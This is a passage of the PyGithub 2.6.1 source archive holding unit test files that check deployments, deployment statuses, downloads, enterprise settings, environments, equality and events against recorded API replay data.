pygithub-2.6.1/tests/Deployment.py0000644000175100001660000001413114756101563016622 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Pascal Hofmann # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Nevins # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class Deployment(Framework.TestCase): def setUp(self): super().setUp() self.deployment = self.g.get_user().get_repo("PyGithub").get_deployment(263877258) def testAttributes(self): self.assertEqual(self.deployment.created_at, datetime(2020, 8, 26, 11, 44, 53, tzinfo=timezone.utc)) self.assertEqual(self.deployment.creator.login, "jacquev6") self.assertEqual(self.deployment.description, "Test deployment") self.assertEqual(self.deployment.environment, "test") self.assertEqual(self.deployment.id, 263877258) self.assertEqual(self.deployment.node_id, "MDEwOkRlcGxveW1lbnQyNjIzNTE3NzY=") self.assertEqual(self.deployment.original_environment, "test") self.assertEqual(self.deployment.payload, {"test": True}) self.assertIsNone(self.deployment.performed_via_github_app) self.assertEqual(self.deployment.production_environment, False) self.assertEqual(self.deployment.ref, "743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5") self.assertEqual(self.deployment.repository_url, "https://api.github.com/repos/jacquev6/PyGithub") self.assertEqual(self.deployment.sha, "743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5") self.assertEqual( self.deployment.statuses_url, "https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses", ) self.assertEqual(self.deployment.task, "deploy") self.assertEqual(self.deployment.transient_environment, True) self.assertEqual(self.deployment.updated_at, datetime(2020, 8, 26, 11, 44, 53, tzinfo=timezone.utc)) self.assertEqual( self.deployment.url, "https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258", ) self.assertEqual(self.deployment.ref, "743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5") self.assertEqual(self.deployment.sha, "743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5") self.assertEqual(self.deployment.task, "deploy") self.assertEqual(self.deployment.payload, {"test": True}) self.assertEqual(self.deployment.original_environment, "test") self.assertEqual(self.deployment.environment, "test") self.assertEqual(self.deployment.description, "Test deployment") self.assertEqual(self.deployment.creator.login, "jacquev6") created_at = datetime(2020, 8, 26, 11, 44, 53, tzinfo=timezone.utc) self.assertEqual(self.deployment.created_at, created_at) self.assertEqual(self.deployment.updated_at, created_at) self.assertEqual(self.deployment.transient_environment, True) self.assertEqual(self.deployment.production_environment, False) self.assertEqual( self.deployment.statuses_url, "https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses", ) self.assertEqual( self.deployment.repository_url, "https://api.github.com/repos/jacquev6/PyGithub", ) self.assertEqual( repr(self.deployment), 'Deployment(url="https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258", id=263877258)', ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/DeploymentStatus.py0000644000175100001660000001430714756101563020033 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Colby Gallup # # Copyright 2020 Pascal Hofmann # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class DeploymentStatus(Framework.TestCase): def setUp(self): super().setUp() self.deployment = self.g.get_user().get_repo("PyGithub").get_deployment(263877258) self.status = self.deployment.get_status(388454671) def testAttributes(self): self.assertEqual(self.status.created_at, datetime(2020, 8, 26, 14, 32, 51, tzinfo=timezone.utc)) self.assertEqual(self.status.creator.login, "jacquev6") self.assertEqual( self.status.deployment_url, "https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258" ) self.assertEqual(self.status.description, "Deployment queued") self.assertEqual(self.status.environment, "test") self.assertEqual(self.status.environment_url, "https://example.com/environment") self.assertEqual(self.status.id, 388454671) created_at = datetime(2020, 8, 26, 14, 32, 51, tzinfo=timezone.utc) self.assertEqual(self.status.created_at, created_at) self.assertEqual(self.status.creator.login, "jacquev6") self.assertEqual( self.status.deployment_url, "https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258", ) self.assertEqual(self.status.description, "Deployment queued") self.assertEqual(self.status.environment, "test") self.assertEqual(self.status.environment_url, "https://example.com/environment") self.assertEqual(self.status.log_url, "https://example.com/deployment.log") self.assertEqual(self.status.node_id, "MDE2OkRlcGxveW1lbnRTdGF0dXMzODg0NTQ2NzE=") self.assertIsNone(self.status.performed_via_github_app) self.assertEqual( self.status.repository_url, "https://api.github.com/repos/jacquev6/PyGithub", ) self.assertEqual(self.status.state, "queued") self.assertEqual(self.status.target_url, "https://example.com/deployment.log") self.assertEqual(self.status.updated_at, created_at) self.assertEqual( self.status.url, "https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses/388454671", ) self.assertEqual( self.status.node_id, "MDE2OkRlcGxveW1lbnRTdGF0dXMzODg0NTQ2NzE=", ) self.assertEqual( repr(self.status), 'DeploymentStatus(url="https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses/388454671", id=388454671)', ) def testCreate(self): newStatus = self.deployment.create_status( "queued", target_url="https://example.com/deployment.log", description="Deployment queued", environment="test", environment_url="https://example.com/environment", auto_inactive=True, ) self.assertEqual(newStatus.id, 388454671) self.assertEqual(newStatus.state, "queued") self.assertEqual( newStatus.repository_url, "https://api.github.com/repos/jacquev6/PyGithub", ) def testGetStatuses(self): statuses = self.deployment.get_statuses() self.assertListKeyEqual( statuses, lambda s: s.id, [388454671, 388433743, 388432880], ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Download.py0000644000175100001660000001041414756101563016251 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime, timezone from . import Framework class Download(Framework.TestCase): def setUp(self): super().setUp() self.download = self.g.get_user().get_repo("PyGithub").get_download(242550) def testAttributes(self): self.assertEqual(self.download.accesskeyid, None) self.assertEqual(self.download.acl, None) self.assertEqual(self.download.bucket, None) self.assertEqual(self.download.content_type, "text/plain") self.assertEqual( self.download.created_at, datetime(2012, 5, 22, 18, 58, 32, tzinfo=timezone.utc), ) self.assertEqual(self.download.description, None) self.assertEqual(self.download.download_count, 0) self.assertEqual(self.download.expirationdate, None) self.assertEqual( self.download.html_url, "https://github.com/downloads/jacquev6/PyGithub/Foobar.txt", ) self.assertEqual(self.download.id, 242550) self.assertEqual(self.download.mime_type, None) self.assertEqual(self.download.name, "Foobar.txt") self.assertEqual(self.download.path, None) self.assertEqual(self.download.policy, None) self.assertEqual(self.download.prefix, None) self.assertEqual(self.download.redirect, None) self.assertEqual(self.download.s3_url, None) self.assertEqual(self.download.signature, None) self.assertEqual(self.download.size, 1024) self.assertEqual( self.download.url, "https://api.github.com/repos/jacquev6/PyGithub/downloads/242550", ) self.assertEqual(repr(self.download), "Download(id=242550)") def testDelete(self): self.download.delete() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Enterprise.py0000644000175100001660000001413214756101563016623 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Steve Kowalik # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import github from . import Framework # Replay data for this test case is forged, because I don't have access to a real Github Enterprise install class Enterprise(Framework.BasicTestCase): def testHttps(self): g = github.Github(auth=self.login, base_url="https://my.enterprise.com") self.assertListKeyEqual( g.get_user().get_repos(), lambda r: r.name, [ "TestPyGithub", "django", "PyGithub", "developer.github.com", "acme-public-website", "C4Planner", "Hacking", "vincent-jacques.net", "Contests", "Candidates", "Tests", "DrawTurksHead", "DrawSyntax", "QuadProgMm", "Boost.HierarchicalEnum", "ViDE", ], ) def testHttp(self): g = github.Github(auth=self.login, base_url="http://my.enterprise.com") self.assertListKeyEqual( g.get_user().get_repos(), lambda r: r.name, [ "TestPyGithub", "django", "PyGithub", "developer.github.com", "acme-public-website", "C4Planner", "Hacking", "vincent-jacques.net", "Contests", "Candidates", "Tests", "DrawTurksHead", "DrawSyntax", "QuadProgMm", "Boost.HierarchicalEnum", "ViDE", ], ) def testUnknownUrlScheme(self): with self.assertRaises(AssertionError) as raisedexp: github.Github(auth=self.login, base_url="foobar://my.enterprise.com") self.assertEqual(raisedexp.exception.args[0], "Unknown URL scheme") def testLongUrl(self): g = github.Github(auth=self.login, base_url="http://my.enterprise.com/path/to/github") repos = g.get_user().get_repos() self.assertListKeyEqual( repos, lambda r: r.name, [ "TestPyGithub", "django", "PyGithub", "developer.github.com", "acme-public-website", "C4Planner", "Hacking", "vincent-jacques.net", "Contests", "Candidates", "Tests", "DrawTurksHead", "DrawSyntax", "QuadProgMm", "Boost.HierarchicalEnum", "ViDE", ], ) self.assertEqual(repos[0].owner.name, "Vincent Jacques") def testSpecificPort(self): g = github.Github(auth=self.login, base_url="http://my.enterprise.com:8080") self.assertListKeyEqual( g.get_user().get_repos(), lambda r: r.name, [ "TestPyGithub", "django", "PyGithub", "developer.github.com", "acme-public-website", "C4Planner", "Hacking", "vincent-jacques.net", "Contests", "Candidates", "Tests", "DrawTurksHead", "DrawSyntax", "QuadProgMm", "Boost.HierarchicalEnum", "ViDE", ], ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/EnterpriseAdmin.py0000644000175100001660000000717014756101563017600 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Enrico Minack # # Copyright 2023 YugoHino # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class EnterpriseAdmin(Framework.TestCase): def setUp(self): super().setUp() self.enterprise = self.g.get_enterprise("beaver-group") def testAttributes(self): self.assertEqual(self.enterprise.enterprise, "beaver-group") self.assertEqual(self.enterprise.url, "/enterprises/beaver-group") self.assertEqual(repr(self.enterprise), 'Enterprise(enterprise="beaver-group")') def testGetConsumedLicenses(self): consumed_licenses = self.enterprise.get_consumed_licenses() self.assertEqual(consumed_licenses.total_seats_consumed, 102) self.assertEqual(consumed_licenses.total_seats_purchased, 103) def testGetEnterpriseUsers(self): enterprise_users = self.enterprise.get_consumed_licenses().get_users() enterprise_users_list = [ [ users.github_com_login, users.github_com_name, users.enterprise_server_user_ids, users.github_com_user, users.enterprise_server_user, users.visual_studio_subscription_user, users.license_type, users.github_com_profile, users.github_com_member_roles, users.github_com_enterprise_roles, users.github_com_verified_domain_emails, users.github_com_saml_name_id, users.github_com_orgs_with_pending_invites, users.github_com_two_factor_auth, users.enterprise_server_primary_emails, users.visual_studio_license_status, users.visual_studio_subscription_email, users.total_user_accounts, ] for users in enterprise_users ] self.assertEqual(len(enterprise_users_list), 102) self.assertEqual(enterprise_users_list[42][0], "beaver-user043") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Environment.py0000644000175100001660000003100614756101563017006 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Andrew Dawes <53574062+AndrewJDawes@users.noreply.github.com> # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 alson # # Copyright 2024 Kian-Meng Ang # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime, timezone from unittest import mock import pytest # type: ignore import github import github.EnvironmentDeploymentBranchPolicy import github.EnvironmentProtectionRule import github.EnvironmentProtectionRuleReviewer import github.NamedUser import github.Team from . import Framework class Environment(Framework.TestCase): def setUp(self): self.tokenAuthMode = True super().setUp() self.repo = self.g.get_user().get_repo("PyGithub") self.environment = self.repo.get_environment("dev") def testAttributes(self): self.assertEqual(self.environment.name, "dev") self.assertEqual(self.environment.id, 464814513) self.assertEqual(self.environment.node_id, "EN_kwDOHKhL9c4btIGx") self.assertEqual( self.environment.url, "https://api.github.com/repos/alson/PyGithub/environments/dev", ) self.assertEqual( self.environment.html_url, "https://github.com/alson/PyGithub/deployments/activity_log?environments_filter=dev", ) self.assertEqual( self.environment.created_at, datetime(2022, 4, 13, 15, 6, 32, tzinfo=timezone.utc), ) self.assertEqual( self.environment.updated_at, datetime(2022, 4, 13, 15, 6, 32, tzinfo=timezone.utc), ) self.assertTrue(self.environment.deployment_branch_policy.protected_branches) self.assertFalse(self.environment.deployment_branch_policy.custom_branch_policies) def testProtectionRules(self): protection_rules = self.environment.protection_rules self.assertEqual(len(protection_rules), 3) self.assertEqual(protection_rules[0].id, 216323) self.assertEqual(protection_rules[0].node_id, "GA_kwDOHKhL9c4AA00D") self.assertEqual(protection_rules[0].type, "branch_policy") self.assertEqual(protection_rules[1].id, 216324) self.assertEqual(protection_rules[1].node_id, "GA_kwDOHKhL9c4AA00E") self.assertEqual(protection_rules[1].type, "required_reviewers") self.assertEqual(protection_rules[2].id, 216325) self.assertEqual(protection_rules[2].node_id, "GA_kwDOHKhL9c4AA00F") self.assertEqual(protection_rules[2].type, "wait_timer") self.assertEqual(protection_rules[2].wait_timer, 15) def testReviewers(self): # This is necessary so we can maintain our own expectations, which have been manually edited, for this test. reviewers = self.repo.get_environment("dev").protection_rules[1].reviewers self.assertEqual(len(reviewers), 2) self.assertEqual(reviewers[0].type, "User") self.assertIsInstance(reviewers[0].reviewer, github.NamedUser.NamedUser) # Make type checker happy assert isinstance(reviewers[0].reviewer, github.NamedUser.NamedUser) self.assertEqual(reviewers[0].reviewer.id, 19245) self.assertEqual(reviewers[0].reviewer.login, "alson") self.assertEqual(reviewers[0].reviewer.type, "User") self.assertEqual(reviewers[1].type, "Team") self.assertIsInstance(reviewers[1].reviewer, github.Team.Team) # Make type checker happy assert isinstance(reviewers[1].reviewer, github.Team.Team) self.assertEqual(reviewers[1].reviewer.id, 1) self.assertEqual(reviewers[1].reviewer.slug, "justice-league") self.assertEqual(reviewers[1].reviewer.url, "https://api.github.com/teams/1") def testGetEnvironments(self): environments = self.repo.get_environments() self.assertEqual(environments.totalCount, 1) self.assertEqual( environments[0].url, "https://api.github.com/repos/alson/PyGithub/environments/dev", ) self.assertEqual(environments[0].name, "dev") def testCreateEnvironment(self): environment = self.repo.create_environment("test") self.assertEqual(environment.name, "test") self.assertEqual(environment.id, 470015651) self.assertEqual(environment.node_id, "EN_kwDOHKhL9c4cA96j") self.assertEqual( environment.url, "https://api.github.com/repos/alson/PyGithub/environments/test", ) self.assertEqual( environment.html_url, "https://github.com/alson/PyGithub/deployments/activity_log?environments_filter=test", ) self.assertEqual( environment.created_at, datetime(2022, 4, 19, 14, 4, 32, tzinfo=timezone.utc), ) self.assertEqual( environment.updated_at, datetime(2022, 4, 19, 14, 4, 32, tzinfo=timezone.utc), ) self.assertEqual(len(environment.protection_rules), 0) self.assertIsNone(environment.deployment_branch_policy) def testUpdateEnvironment(self): environment = self.repo.create_environment( "test", wait_timer=42, reviewers=[github.EnvironmentProtectionRuleReviewer.ReviewerParams(type_="User", id_=19245)], deployment_branch_policy=github.EnvironmentDeploymentBranchPolicy.EnvironmentDeploymentBranchPolicyParams( protected_branches=True, custom_branch_policies=False ), ) self.assertEqual(environment.name, "test") self.assertEqual(environment.id, 470015651) self.assertEqual(environment.node_id, "EN_kwDOHKhL9c4cA96j") self.assertEqual( environment.url, "https://api.github.com/repos/alson/PyGithub/environments/test", ) self.assertEqual( environment.html_url, "https://github.com/alson/PyGithub/deployments/activity_log?environments_filter=test", ) self.assertEqual( environment.created_at, datetime(2022, 4, 19, 14, 4, 32, tzinfo=timezone.utc), ) self.assertEqual( environment.updated_at, datetime(2022, 4, 19, 14, 4, 32, tzinfo=timezone.utc), ) self.assertEqual(len(environment.protection_rules), 3) self.assertEqual(environment.protection_rules[0].type, "required_reviewers") self.assertEqual(len(environment.protection_rules[0].reviewers), 1) self.assertEqual(environment.protection_rules[0].reviewers[0].type, "User") self.assertEqual(environment.protection_rules[0].reviewers[0].reviewer.id, 19245) self.assertEqual(environment.protection_rules[1].type, "wait_timer") self.assertEqual(environment.protection_rules[1].wait_timer, 42) self.assertEqual(environment.protection_rules[2].type, "branch_policy") self.assertTrue(environment.deployment_branch_policy.protected_branches) self.assertFalse(environment.deployment_branch_policy.custom_branch_policies) def testDeleteEnvironment(self): self.repo.delete_environment("test") with pytest.raises(github.UnknownObjectException): self.repo.get_environment("test") def testEnvironmentVariable(self): repo = self.g.get_repo("AndrewJDawes/PyGithub") environment = repo.create_environment("test") variable = environment.create_variable("variable_name", "variable-value") self.assertTrue(variable.edit("variable-value123")) variable.delete() repo.delete_environment("test") def testEnvironmentVariables(self): # GitHub will always capitalize the variable name variables = (("VARIABLE_NAME_ONE", "variable-value-one"), ("VARIABLE_NAME_TWO", "variable-value-two")) repo = self.g.get_repo("AndrewJDawes/PyGithub") environment = repo.create_environment("test") for variable in variables: environment.create_variable(variable[0], variable[1]) environment.update() environment_variables = environment.get_variables() matched_environment_variables = [] for variable in variables: for environment_variable in environment_variables: # GitHub will always capitalize the variable name, may be best to uppercase test data for comparison if environment_variable.name == variable[0].upper() and environment_variable.value == variable[1]: matched_environment_variables.append(environment_variable) break self.assertEqual(len(matched_environment_variables), len(variables)) for matched_environment_variable in matched_environment_variables: matched_environment_variable.delete() repo.delete_environment("test") @mock.patch("github.PublicKey.encrypt") def testEnvironmentSecret(self, encrypt): # encrypt returns a non-deterministic value, we need to mock it so the replay data matches encrypt.return_value = "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b" repo = self.g.get_repo("AndrewJDawes/PyGithub") environment = repo.create_environment("test") secret = environment.create_secret("secret_name", "secret-value") secret.update() # GitHub will always capitalize the secret name self.assertEqual(secret.name, "SECRET_NAME") secret.delete() repo.delete_environment("test") @mock.patch("github.PublicKey.encrypt") def testEnvironmentSecrets(self, encrypt): # encrypt returns a non-deterministic value, we need to mock it so the replay data matches encrypt.return_value = "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b" # GitHub will always capitalize the secret name secrets = (("SECRET_NAME_ONE", "secret-value-one"), ("SECRET_NAME_TWO", "secret-value-two")) repo = self.g.get_repo("AndrewJDawes/PyGithub") environment = repo.create_environment("test") for secret in secrets: environment.create_secret(secret[0], secret[1]) environment.update() environment_secrets = environment.get_secrets() matched_environment_secrets = [] for secret in secrets: for environment_secret in environment_secrets: # GitHub will always capitalize the secret name, may be best to uppercase test data for comparison if environment_secret.name == secret[0].upper(): matched_environment_secrets.append(environment_secret) break self.assertEqual(len(matched_environment_secrets), len(secrets)) for matched_environment_secret in matched_environment_secrets: matched_environment_secret.delete() repo.delete_environment("test") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Equality.py0000755000175100001660000000703014756101563016302 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Equality(Framework.TestCase): def testUserEquality(self): u1 = self.g.get_user("jacquev6") u2 = self.g.get_user("jacquev6") self.assertEqual(u1, u2) self.assertEqual(hash(u1), hash(u2)) def testUserDifference(self): u1 = self.g.get_user("jacquev6") u2 = self.g.get_user("OddBloke") self.assertNotEqual(u1, u2) self.assertNotEqual(hash(u1), hash(u2)) def testBranchEquality(self): # Erf, equality of NonCompletableGithubObjects will be difficult to implement # because even their _rawData can differ. (Here, the avatar_url is not equal) # (CompletableGithubObjects are compared by their API url, which is a good key) r = self.g.get_user().get_repo("PyGithub") b1 = r.get_branch("develop") b2 = r.get_branch("develop") self.assertNotEqual(b1._rawData, b2._rawData) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Event.py0000644000175100001660000002325514756101563015572 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime, timezone from . import Framework class Event(Framework.TestCase): def setUp(self): super().setUp() self.event = self.g.get_user("jacquev6").get_events()[0] def testAttributes(self): self.assertEqual(self.event.actor.login, "jacquev6") self.assertEqual( self.event.created_at, datetime(2012, 5, 26, 10, 1, 39, tzinfo=timezone.utc), ) self.assertEqual(self.event.id, "1556114751") self.assertEqual(self.event.org, None) self.assertEqual( self.event.payload, { "commits": [ { "url": "https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7", "sha": "5bb654d26dd014d36794acd1e6ecf3736f12aad7", "message": "Implement the three authentication schemes", "distinct": False, "author": { "name": "Vincent Jacques", "email": "vincent@vincent-jacques.net", }, }, { "url": "https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5", "sha": "cb0313157bf904f2d364377d35d9397b269547a5", "message": "Merge branch 'topic/Authentication' into develop", "distinct": False, "author": { "name": "Vincent Jacques", "email": "vincent@vincent-jacques.net", }, }, { "url": "https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16", "sha": "0cec0d25e606c023a62a4fc7cdc815309ebf6d16", "message": "Publish version 0.7", "distinct": False, "author": { "name": "Vincent Jacques", "email": "vincent@vincent-jacques.net", }, }, { "url": "https://api.github.com/repos/jacquev6/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7", "sha": "ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7", "message": "Merge branch 'develop'", "distinct": False, "author": { "name": "Vincent Jacques", "email": "vincent@vincent-jacques.net", }, }, { "url": "https://api.github.com/repos/jacquev6/PyGithub/commits/3a3bf4763192ee1234eb0557628133e06f3dfc76", "sha": "3a3bf4763192ee1234eb0557628133e06f3dfc76", "message": "Merge branch 'master' into topic/RewriteWithGeneratedCode\n\nConflicts:\n\tgithub/Github.py\n\tgithub/Requester.py", "distinct": True, "author": { "name": "Vincent Jacques", "email": "vincent@vincent-jacques.net", }, }, { "url": "https://api.github.com/repos/jacquev6/PyGithub/commits/608f17794664f61693a3dc05e6056fea8fbef0ff", "sha": "608f17794664f61693a3dc05e6056fea8fbef0ff", "message": "Restore some form of Authorization header in replay data", "distinct": True, "author": { "name": "Vincent Jacques", "email": "vincent@vincent-jacques.net", }, }, { "url": "https://api.github.com/repos/jacquev6/PyGithub/commits/2c04b8adbd91d38eef4f0767337ab7a12b2f684b", "sha": "2c04b8adbd91d38eef4f0767337ab7a12b2f684b", "message": "Allow test without pre-set-up Github", "distinct": True, "author": { "name": "Vincent Jacques", "email": "vincent@vincent-jacques.net", }, }, { "url": "https://api.github.com/repos/jacquev6/PyGithub/commits/5b97389988b6fe43e15a079702f6f1671257fb28", "sha": "5b97389988b6fe43e15a079702f6f1671257fb28", "message": "Test three authentication schemes", "distinct": True, "author": { "name": "Vincent Jacques", "email": "vincent@vincent-jacques.net", }, }, { "url": 